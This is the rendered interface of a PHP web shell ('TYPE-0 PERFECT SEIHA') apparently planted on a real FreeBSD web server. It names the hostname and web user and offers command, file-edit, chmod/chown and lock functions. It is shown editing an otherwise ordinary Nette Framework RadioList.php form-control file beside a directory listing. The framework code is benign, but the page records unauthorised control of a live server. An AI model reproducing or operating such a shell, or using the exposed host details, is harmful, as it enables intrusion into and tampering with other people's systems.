TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
download
app
Nette
Forms
Controls
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/download/app/Nette/Forms/Controls/RadioList.php
<?php /** * This file is part of the Nette Framework (http://nette.org) * * Copyright (c) 2004 David Grudl (http://davidgrudl.com) * * For the full copyright and license information, please view * the file license.txt that was distributed with this source code. */ namespace Nette\Forms\Controls; use Nette, Nette\Utils\Html; /** * Set of radio button controls. * * @author David Grudl * * @property array $items * @property-read Nette\Utils\Html $separatorPrototype * @property-read Nette\Utils\Html $containerPrototype */ class RadioList extends BaseControl { /** @var Nette\Utils\Html separator element template */ protected $separator; /** @var Nette\Utils\Html container element template */ protected $container; /** @var array */ protected $items = array(); /** * @param string label * @param array options from which to choose */ public function __construct($label = NULL, array $items = NULL) { parent::__construct($label); $this->control->type = 'radio'; $this->container = Html::el(); $this->separator = Html::el('br'); if ($items !== NULL) { $this->setItems($items); } } /** * Returns selected radio value. * @param bool * @return mixed */ public function getValue($raw = FALSE) { return is_scalar($this->value) && ($raw || isset($this->items[$this->value])) ? $this->value : NULL; } /** * Has been any radio button selected? * @return bool */ public function isFilled() { return $this->getValue() !== NULL; } /** * Sets options from which to choose. * @param array * @return RadioList provides a fluent interface */ public function setItems(array $items) { $this->items = $items; return $this; } /** * Returns options from which to choose. * @return array */ final public function getItems() { return $this->items; } /** * Returns separator HTML element template. * @return Nette\Utils\Html */ final public function getSeparatorPrototype() { return $this->separator; } /** * Returns container HTML element template. * @return Nette\Utils\Html */ final public function getContainerPrototype() { return $this->container; } /** * Generates control's HTML element. * @param mixed * @return Nette\Utils\Html */ public function getControl($key = NULL) { if ($key === NULL) { $container = clone $this->container; $separator = (string) $this->separator; } elseif (!isset($this->items[$key])) { return NULL; } $control = parent::getControl(); $id = $control->id; $counter = -1; $value = $this->value === NULL ? NULL : (string) $this->getValue(); $label = Html::el('label'); foreach ($this->items as $k => $val) { $counter++; if ($key !== NULL && (string) $key !== (string) $k) { continue; } $control->id = $label->for = $id . '-' . $counter; $control->checked = (string) $k === $value; $control->value = $k; if ($val instanceof Html) { $label->setHtml($val); } else { $label->setText($this->translate((string) $val)); } if ($key !== NULL) { return Html::el()->add($control)->add($label); } $container->add((string) $control . (string) $label . $separator); $control->data('nette-rules', NULL); // TODO: separator after last item? } return $container; } /** * Generates label's HTML element. * @param string * @return void */ public function getLabel($caption = NULL) { $label = parent::getLabel($caption); $label->for = NULL; return $label; } }
Crotin
Name
Size
Permissions
Modified
User/Group
BaseControl.php
13409
0644
2015-08-08 18:27:55
Unknown/Unknown
MultiSelectBox.php
1907
0644
2015-08-08 18:27:55
Unknown/Unknown
Button.php
1019
0644
2015-08-08 18:27:54
Unknown/Unknown
HiddenField.php
1306
0644
2015-08-08 18:27:55
Unknown/Unknown
SelectBox.php
4831
0644
2015-08-08 18:27:55
Unknown/Unknown
ImageButton.php
1283
0644
2015-08-08 18:27:55
Unknown/Unknown
TextBase.php
5369
0644
2015-08-08 18:27:55
Unknown/Unknown
TextInput.php
2358
0644
2015-08-08 18:27:55
Unknown/Unknown
RadioList.php
3554
0644
2015-08-08 18:27:55
Unknown/Unknown
Checkbox.php
1045
0644
2015-08-08 18:27:56
Unknown/Unknown
UploadControl.php
2930
0644
2015-08-08 18:27:55
Unknown/Unknown
SubmitButton.php
2320
0644
2015-08-08 18:27:55
Unknown/Unknown
TextArea.php
1060
0644
2015-08-08 18:27:55
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin